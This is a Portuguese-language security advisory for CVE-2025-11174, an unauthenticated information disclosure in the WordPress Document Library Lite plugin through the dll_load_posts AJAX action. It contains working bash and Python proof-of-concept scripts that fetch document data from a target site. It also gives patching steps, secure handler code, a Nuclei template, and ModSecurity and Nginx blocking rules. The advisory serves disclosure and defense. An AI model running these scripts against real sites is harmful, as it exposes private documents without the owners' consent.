
Document Library Lite <= 1.1.6 - Missing Authorization to Sensitive Information Exposure | CVE-2025-11174
Palavras-chave: CVE-2025-11174, Document Library Lite vulnerability, information disclosure, WordPress security, unauthenticated AJAX exploit, WordPress plugin vulnerability, CWE-862, WordPress document plugin security, authorization bypass, WordPress CVE 2025
Vulnerabilidade de Divulgação de Informações no Plugin WordPress Document Library Lite (CVE-2025-11174) – Falha de segurança que permite acesso não autenticado a dados confidenciais de documentos no plugin de biblioteca de documentos do WordPress.
Foi descoberta uma vulnerabilidade crítica de bypass de autorização no Plugin WordPress Document Library Lite que permite que atacantes não autenticados acessem informações confidenciais de documentos sem a devida autenticação.
Descoberto por: Kai Aizen & Avraham Shemesh (SnailSploit)
Publicado: 1 de novembro de 2025
Pontuação CVSS: 5.3 (Médio)
CWE: CWE-862 – Autorização Ausente
Plugin: Document Library Lite
Fornecedor: Barn2 Plugins
Tipo de Ataque: Divulgação de Informações Não Autenticada
Privilégios Necessários: Nenhum (Ataque Não Autenticado)
O plugin Document Library Lite para WordPress contém uma vulnerabilidade de autorização inadequada em todas as versões até a 1.1.6 inclusive. O plugin expõe uma ação AJAX não autenticada dll_load_posts que retorna uma tabela JSON de dados de documentos sem realizar verificações de nonce ou capacidade.
Esta vulnerabilidade permite que atacantes não autenticados:
Nota: A pontuação CVSS de 5.3 (gravidade Média) reflete divulgação limitada de informações. Embora a vulnerabilidade permita acesso não autenticado aos dados de documentos, o impacto é classificado como Baixo para confidencialidade, sem impacto na integridade ou disponibilidade.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Detalhamento CVSS v3.1:
A ação AJAX dll_load_posts é registrada sem verificações adequadas de autenticação ou autorização:
// Padrão de código vulnerável (simplificado)
add_action('wp_ajax_nopriv_dll_load_posts', 'dll_load_posts_callback');
O prefixo wp_ajax_nopriv_ indica que esta ação é acessível a usuários não autenticados, e a função de retorno não implementa:
POST /wp-admin/admin-ajax.php
action=dll_load_posts
A vulnerabilidade pode ser explorada através do endpoint admin-ajax.php do WordPress sem autenticação.
⚠️ Apenas para Fins Educacionais e de Teste Autorizados
#!/bin/bash
# CVE-2025-11174 PoC
TARGET_URL="$1"
if [ -z "$TARGET_URL" ]; then
echo "Usage: $0 <target_url>"
echo "Example: $0 https://example.com"
exit 1
fi
echo "[*] CVE-2025-11174 - Document Library Lite Information Disclosure PoC"
echo "[*] Target: $TARGET_URL"
echo ""
# Send request to vulnerable AJAX endpoint
curl -s -X POST "$TARGET_URL/wp-admin/admin-ajax.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "action=dll_load_posts" \
| python3 -m json.tool
echo ""
echo "[+] If you see document data above, the site is vulnerable!"
#!/usr/bin/env python3
"""
CVE-2025-11174 - Document Library Lite Information Disclosure PoC
For educational and authorized testing purposes only
"""
import requests
import sys
import json
def exploit(target_url):
ajax_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
print(f"[*] CVE-2025-11174 - Document Library Lite PoC")
print(f"[*] Target: {target_url}")
print(f"[*] AJAX Endpoint: {ajax_url}\n")
data = {'action': 'dll_load_posts'}
try:
response = requests.post(ajax_url, data=data, timeout=10)
if response.status_code == 200:
print("[+] Request successful!\n")
try:
json_data = response.json()
print("[+] Retrieved document data:")
print(json.dumps(json_data, indent=2))
print("\n[!] Site is VULNERABLE to CVE-2025-11174")
except json.JSONDecodeError:
print("[-] No JSON response received")
print(f"Response: {response.text[:200]}")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except requests.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <target_url>")
print(f"Example: {sys.argv[0]} https://example.com")
sys.exit(1)
target = sys.argv[1]
exploit(target)
Ação Imediata Necessária:
admin-ajax.php com action=dll_load_postsVia Admin do WordPress:
Usando WP-CLI:
wp plugin update document-library-lite
Garanta que todos os manipuladores AJAX implementem os controles de segurança adequados:
// Exemplo de segurança AJAX adequada
add_action('wp_ajax_dll_load_posts', 'dll_load_posts_callback');
function dll_load_posts_callback() {
// Verificar nonce
if (!wp_verify_nonce($_POST['nonce'], 'dll_nonce')) {
wp_die('Invalid nonce');
}
// Verificar capacidades
if (!current_user_can('read')) {
wp_send_json_error('Insufficient permissions');
wp_die();
}
// Seu código seguro aqui
}
# Verificar se uma versão vulnerável está instalada
wp plugin list | grep -i "document-library-lite"
Template Nuclei:
id: CVE-2025-11174
info:
name: Document Library Lite - Unauthenticated Information Disclosure
author: security-research
severity: medium
description: Document Library Lite plugin for WordPress is vulnerable to information disclosure
reference:
- https://github.com/[your-repo]/CVE-2025-11174
tags: cve,cve2025,wordpress,wp-plugin,unauth
requests:
- method: POST
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php"
body: "action=dll_load_posts"
matchers-condition: and
matchers:
- type: word
words:
- "data"
- "recordsTotal"
condition: and
- type: status
status:
- 200
Regra ModSecurity:
SecRule REQUEST_URI "@contains /wp-admin/admin-ajax.php" \
"chain,id:1000001,phase:2,t:none,t:urlDecodeUni,t:normalizePathWin,\
log,deny,status:403,msg:'CVE-2025-11174 Exploit Attempt'"
SecRule ARGS:action "@streq dll_load_posts" "t:none"
Regra Nginx/OpenResty:
if ($request_uri ~* "admin-ajax\.php") {
if ($args ~* "action=dll_load_posts") {
return 403;
}
}
Pesquisadores:
Processo de Divulgação: Divulgação coordenada
Esta informação é fornecida apenas para fins de pesquisa em segurança e defesa. Qualquer exploração desta vulnerabilidade para fins maliciosos é ilegal e antiética. Sempre obtenha autorização adequada antes de testar sistemas que você não possui.
Para perguntas ou informações adicionais sobre esta vulnerabilidade:
Última atualização: 2 de novembro de 2025
O artigo completo, metodologia e pesquisas relacionadas deste projeto estão em:
https://snailsploit.com/security-research/cves/cve-2025-11174/
Criado por Kai Aizen — pesquisador independente de segurança ofensiva.
snailsploit.com · Research · Frameworks · GitHub · LinkedIn · ResearchGate · X/Twitter
Mesmo ataque. Substrato diferente.
| Métrica | Valor |
|---|
| Vetor de Ataque | Rede (AV:N) |
| Complexidade do Ataque | Baixa (AC:L) |
| Privilégios Necessários | Nenhum (PR:N) |
| Interação do Usuário | Nenhuma (UI:N) |
| Escopo | Inalterado (S:U) |
| Confidencialidade | Baixa (C:L) |
| Integridade | Nenhum (I:N) |
| Disponibilidade | Nenhum (A:N) |